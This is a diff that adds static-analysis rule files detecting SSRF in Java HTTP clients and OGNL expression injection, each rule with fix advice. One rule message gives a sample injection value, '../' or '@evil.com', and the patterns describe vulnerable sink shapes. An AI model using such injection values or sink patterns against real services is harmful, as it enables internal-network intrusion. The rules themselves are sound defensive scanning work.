+ 修复: 1.白名单域名校验 2.DNS解析验证IP 3.禁用自动重定向
32
+ languages:
33
+ - java
34
+ pattern-either:
35
+ - pattern: |
36
+ $RT.exchange($REQ.getParameter($PARAM), ...)
37
+ metadata:
38
+ cwe: "CWE-918"
39
+ severity: WARNING
40
+ precision: medium
41
+ category: ssrf
42
+ likelihood: HIGH
43
+ impact: HIGH
44
+ owasp: "A10:2021 - SSRF"
45
+
46
+ - id: zm-java-ssrf-rt-003
47
+ severity: WARNING
48
+ message: |
49
+ RestTemplate URL 由用户输入拼接构造,可能导致 SSRF。
50
+ 修复: 1.UriComponentsBuilder+白名单host 2.校验拼装后完整URL域名 3.对path参数严格过滤
51
+ languages:
52
+ - java
53
+ pattern-either:
54
+ - pattern: |
55
+ $RT.getForObject($BASE + $REQ.getParameter($PARAM), ...)
56
+ - pattern: |
57
+ $RT.postForObject($BASE + $REQ.getParameter($PARAM), ...)
58
+ - pattern: |
59
+ $RT.exchange($BASE + $REQ.getParameter($PARAM), ...)
60
+ metadata:
61
+ cwe: "CWE-918"
62
+ severity: WARNING
63
+ precision: medium
64
+ category: ssrf
65
+ likelihood: MEDIUM
66
+ impact: HIGH
67
+ owasp: "A10:2021 - SSRF"
@@ -0,0 +1,103 @@
1
+ # CWE-918 SSRF 深度覆盖 (v2): 全量Java HTTP客户端sink
2
+ # 补漏: 原始 cwe-918-ssrf.yaml 仅覆盖Url/HttpURLConnection/RestTemplate/WebClient
3
+ # 本文件追加: Feign / OkHttp / Apache HttpClient 4/5 / java.net.URL 全量变体
4
+
5
+ rules:
6
+
7
+ # ZM-JAVA-SSRF-OKHTTP-001: OkHttp3/4 请求URL由用户输入控制
8
+ - id: zm-java-ssrf-okhttp-001
9
+ severity: MEDIUM
10
+ message: |
11
+ OkHttp 请求 URL 由用户输入控制,可能导致 SSRF。
12
+ 校验 URL 白名单或使用 DNS 解析校验(如 `InetAddress.getAllByName`)。
13
+ languages:
14
+ - java
15
+ pattern-either:
16
+ - pattern: |
17
+ $REQ = $HTTP.newBuilder().url($INPUT).build();
18
+ $CLIENT.newCall($REQ).execute();
19
+ - pattern: |
20
+ $HTTP.url($INPUT).build();
21
+ - pattern: |
22
+ $B = new Request.Builder().url($INPUT);
23
+ metadata:
24
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
25
+ owasp: "A10:2021 - Server-Side Request Forgery"
26
+ precision: high
27
+ tags: [ssrf, okhttp, http-client]
28
+ references:
29
+ - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
30
+
31
+ # ZM-JAVA-SSRF-APACHE-HTTP: Apache HttpClient 4.x / 5.x 请求URL由用户控制
32
+ - id: zm-java-ssrf-apache-http-001
33
+ severity: MEDIUM
34
+ message: |
35
+ Apache HttpClient 请求 URL 由用户输入控制,可能导致 SSRF。
36
+ 使用 `HttpClientBuilder.setDefaultRequestConfig` 限制重定向或校验目标 IP 白名单。
37
+ languages:
38
+ - java
39
+ pattern-either:
40
+ - pattern: |
41
+ $CLIENT.execute(new HttpGet($INPUT));
42
+ - pattern: |
43
+ $CLIENT.execute(new HttpPost($INPUT));
44
+ - pattern: |
45
+ $CLIENT.execute(new HttpPut($INPUT));
46
+ - pattern: |
47
+ $HTTP = HttpClients.createDefault();
48
+ ...
49
+ $HTTP.execute(new HttpGet($INPUT));
50
+ - pattern: |
51
+ $CLIENT.execute(new HttpGet($INPUT), $RESPONSE);
52
+ - pattern: |
53
+ $B = RequestBuilder.get($INPUT);
54
+ metadata:
55
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
56
+ owasp: "A10:2021 - Server-Side Request Forgery"
57
+ precision: high
58
+ tags: [ssrf, apache-httpclient]
59
+ references:
60
+ - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
61
+
62
+ # ZM-JAVA-SSRF-URL-BARE: java.net.URL openConnection/openStream 由用户控制
63
+ - id: zm-java-ssrf-url-001
64
+ severity: MEDIUM
65
+ message: |
66
+ java.net.URL 对象由用户输入构造,调用 openConnection/openStream 可触发 SSRF。
67
+ 先校验域名/IP 是否在白名单内,或限制协议仅 http/https。
68
+ languages:
69
+ - java
70
+ pattern-either:
71
+ - pattern: new URL($INPUT).openConnection()
72
+ - pattern: new URL($INPUT).openStream()
73
+ - pattern: new URL($INPUT).getContent()
74
+ - pattern: $U = new URL($INPUT);
75
+ - pattern: URI.create($INPUT)
76
+ metadata:
77
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
78
+ owasp: "A10:2021 - Server-Side Request Forgery"
79
+ precision: high
80
+ tags: [ssrf, java-net-url]
81
+ references:
82
+ - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
83
+
84
+ # ZM-JAVA-SSRF-FEIGN: Feign Client 动态URL
85
+ - id: zm-java-ssrf-feign-001
86
+ severity: MEDIUM
87
+ message: |
88
+ Feign Client @RequestLine 注解中 URL 使用字符串拼接或 @Param 传入。
89
+ 使用固定 baseUrl + @RequestLine 相对路径,避免用户可控的完整 URL。
90
+ languages:
91
+ - java
92
+ pattern-either:
93
+ - pattern: |
94
+ $FEIGN.target($TARGET, $INPUT);
95
+ - pattern: |
96
+ $FEIGN = Feign.builder().target($T, $INPUT);
97
+ metadata:
98
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
99
+ owasp: "A10:2021 - Server-Side Request Forgery"
100
+ precision: medium
101
+ tags: [ssrf, feign]
102
+ references:
103
+ - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
@@ -0,0 +1,77 @@
1
+ # CWE-918: SSRF — RestTemplate deeper variants
2
+ # ZhuMa V4.1 — complement zm-java-cwe918-resttemplate.yaml and webclient.yaml
3
+
4
+ rules:
5
+
6
+ # ZM-JAVA-SSRF-RT-DEEP-001: RestTemplate.execute() with user-controlled URL
7
+ - id: zm-java-ssrf-rt-deep-001
8
+ severity: MEDIUM
9
+ message: |
10
+ RestTemplate.execute() URL from HTTP parameter — SSRF via low-level execute method.
11
+ Fix: validate URL hostname against whitelist before calling execute().
12
+ languages:
13
+ - java
14
+ pattern-either:
15
+ - pattern: |
16
+ $RT.execute($REQ.getParameter(...), $METHOD, $CB, $VARS)
17
+ - pattern: |
18
+ $RT.execute($REQ.getParameter(...), HttpMethod.GET, $CB)
19
+ - pattern: |
20
+ $RT.execute($REQ.getParameter(...), HttpMethod.POST, $CB)
21
+ metadata:
22
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
23
+ severity: MEDIUM
24
+ precision: medium
25
+ category: ssrf
26
+ likelihood: HIGH
27
+ impact: HIGH
28
+ owasp: "A10:2021 - SSRF"
29
+
30
+ # ZM-JAVA-SSRF-RT-DEEP-002: RestTemplate URI variables from user input
31
+ - id: zm-java-ssrf-rt-deep-002
32
+ severity: MEDIUM
33
+ message: |
34
+ RestTemplate String.format-ed URL + user-controlled path segment — SSRF via URI template injection.
35
+ Attacker may inject "../" or "@evil.com" into the path variable.
36
+ Fix: validate path segments; use UriComponentsBuilder for strict URI construction.
37
+ languages:
38
+ - java
39
+ pattern-either:
40
+ - pattern: |
41
+ $RT.getForObject(String.format($FMT, $REQ.getParameter(...)), ...)
42
+ - pattern: |
43
+ $RT.exchange(String.format($FMT, $REQ.getParameter(...)), ...)
44
+ - pattern: |
45
+ $RT.getForEntity(String.format($FMT, $REQ.getParameter(...)), ...)
46
+ metadata:
47
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
48
+ severity: MEDIUM
49
+ precision: medium
50
+ category: ssrf
51
+ likelihood: MEDIUM
52
+ impact: HIGH
53
+ owasp: "A10:2021 - SSRF"
54
+
55
+ # ZM-JAVA-SSRF-RT-DEEP-003: UriComponentsBuilder from user-controlled host
56
+ - id: zm-java-ssrf-rt-deep-003
57
+ severity: MEDIUM
58
+ message: |
59
+ UriComponentsBuilder host/port/scheme from user input — attacker controls full URI authority.
60
+ This allows SSRF to any internal IP/service. Fix: hardcode scheme/host; only allow path/query from user.
61
+ languages:
62
+ - java
63
+ pattern-either:
64
+ - pattern: |
65
+ UriComponentsBuilder.newInstance().host($REQ.getParameter(...)).build()
66
+ - pattern: |
67
+ UriComponentsBuilder.newInstance().scheme($REQ.getParameter(...)).build()
68
+ - pattern: |
69
+ UriComponentsBuilder.fromUriString($REQ.getParameter(...)).build()
70
+ metadata:
71
+ cwe: "CWE-918: Server-Side Request Forgery (SSRF)"
72
+ severity: MEDIUM
73
+ precision: high
74
+ category: ssrf
75
+ likelihood: MEDIUM
76
+ impact: HIGH
77
+ owasp: "A10:2021 - SSRF"
@@ -0,0 +1,44 @@
1
+ # CWE-918: SSRF — Spring WebClient URI 参数可控检测
2
+ # V4.1 - 单语句模式,避免跨语句 ... 导致的 PatternParseError
3
+
4
+ rules:
5
+
6
+ - id: zm-java-ssrf-wc-001
7
+ severity: WARNING
8
+ message: |
9
+ Spring WebClient get/post uri() from HTTP request param - user-controllable, can cause SSRF.
10
+ Fix: whitelist domain validation / DNS resolve verify non-internal IP / use UriComponentsBuilder.
11
+ languages:
12
+ - java
13
+ pattern-either:
14
+ - pattern: WebClient.create().get().uri($REQ.getParameter($PARAM))
15
+ - pattern: WebClient.create().post().uri($REQ.getParameter($PARAM))
16
+ - pattern: $WC.get().uri($REQ.getParameter($PARAM))
17
+ - pattern: $WC.post().uri($REQ.getParameter($PARAM))
18
+ metadata:
19
+ cwe: "CWE-918"
20
+ severity: WARNING
21
+ precision: high
22
+ category: ssrf
23
+ likelihood: HIGH
24
+ impact: HIGH
25
+ owasp: "A10:2021 - SSRF"
26
+
27
+ - id: zm-java-ssrf-wc-002
28
+ severity: WARNING
29
+ message: |
30
+ WebClient baseUrl from user input - attacker controls baseUrl to redirect to malicious server.
31
+ Fix: hardcode domain whitelist for baseUrl / never use user input as baseUrl.
32
+ languages:
33
+ - java
34
+ pattern-either:
35
+ - pattern: WebClient.builder().baseUrl($REQ.getParameter($PARAM)).build()
36
+ - pattern: WebClient.builder().baseUrl($REQ.getParameter($PARAM))
37
+ metadata:
38
+ cwe: "CWE-918"
39
+ severity: WARNING
40
+ precision: high
41
+ category: ssrf
42
+ likelihood: MEDIUM
43
+ impact: HIGH
44
+ owasp: "A10:2021 - SSRF"
@@ -0,0 +1,66 @@
1
+ # CWE-94: OGNL 表达式注入检测
2
+ # 逐码 ZhuMa V4.1
3
+
4
+ rules:
5
+
6
+ - id: zm-java-ognl-001
7
+ severity: ERROR
8
+ message: |
9
+ Ognl.parseExpression() 参数由 HTTP 请求参数传入,可导致 OGNL 注入 RCE。
10
+ 修复: 1.禁止用户输入传入OGNL 2.Struts2参数白名单拦截器 3.启用strict-method-invocation
11
+ 参考: CVE-2017-5638 (S2-045), CVE-2018-11776 (S2-057)
12
+ languages:
13
+ - java
14
+ pattern-either:
15
+ - pattern: |
16
+ Ognl.parseExpression($REQ.getParameter($PARAM))
17
+ - pattern: |
18
+ Ognl.parseExpression($REQ.getHeader($PARAM))
19
+ metadata:
20
+ cwe: "CWE-94"
21
+ severity: ERROR
22
+ precision: high
23
+ category: code-injection
24
+ likelihood: HIGH
25
+ impact: CRITICAL
26
+ owasp: "A03:2021 - Injection"
27
+
28
+ - id: zm-java-ognl-002
29
+ severity: ERROR
30
+ message: |
31
+ Ognl.getValue() 表达式参数可能由用户输入构造,可导致任意代码执行。
32
+ 修复: 1.禁止用户输入直接作为OGNL表达式 2.OgnlContext安全配置 3.替换为安全模板引擎
33
+ languages:
34
+ - java
35
+ pattern-either:
36
+ - pattern: |
37
+ Ognl.getValue($REQ.getParameter($PARAM), ...)
38
+ metadata:
39
+ cwe: "CWE-94"
40
+ severity: ERROR
41
+ precision: medium
42
+ category: code-injection
43
+ likelihood: MEDIUM
44
+ impact: CRITICAL
45
+ owasp: "A03:2021 - Injection"
46
+
47
+ - id: zm-java-ognl-003
48
+ severity: HIGH
49
+ message: |
50
+ Ognl.parseExpression() 参数由变量拼接,若变量用户可控可导致OGNL注入RCE。
51
+ 修复: 1.追踪变量来源 2.白名单表达式映射 3.严格校验表达式内容
52
+ languages:
53
+ - java
54
+ pattern-either:
55
+ - pattern: |
56
+ Ognl.parseExpression($EXPR + $Y)
57
+ - pattern: |
58
+ Ognl.parseExpression($EXPR)
59
+ metadata:
60
+ cwe: "CWE-94"
61
+ severity: HIGH
62
+ precision: low
63
+ category: code-injection
64
+ likelihood: MEDIUM
65
+ impact: CRITICAL
66
+ owasp: "A03:2021 - Injection"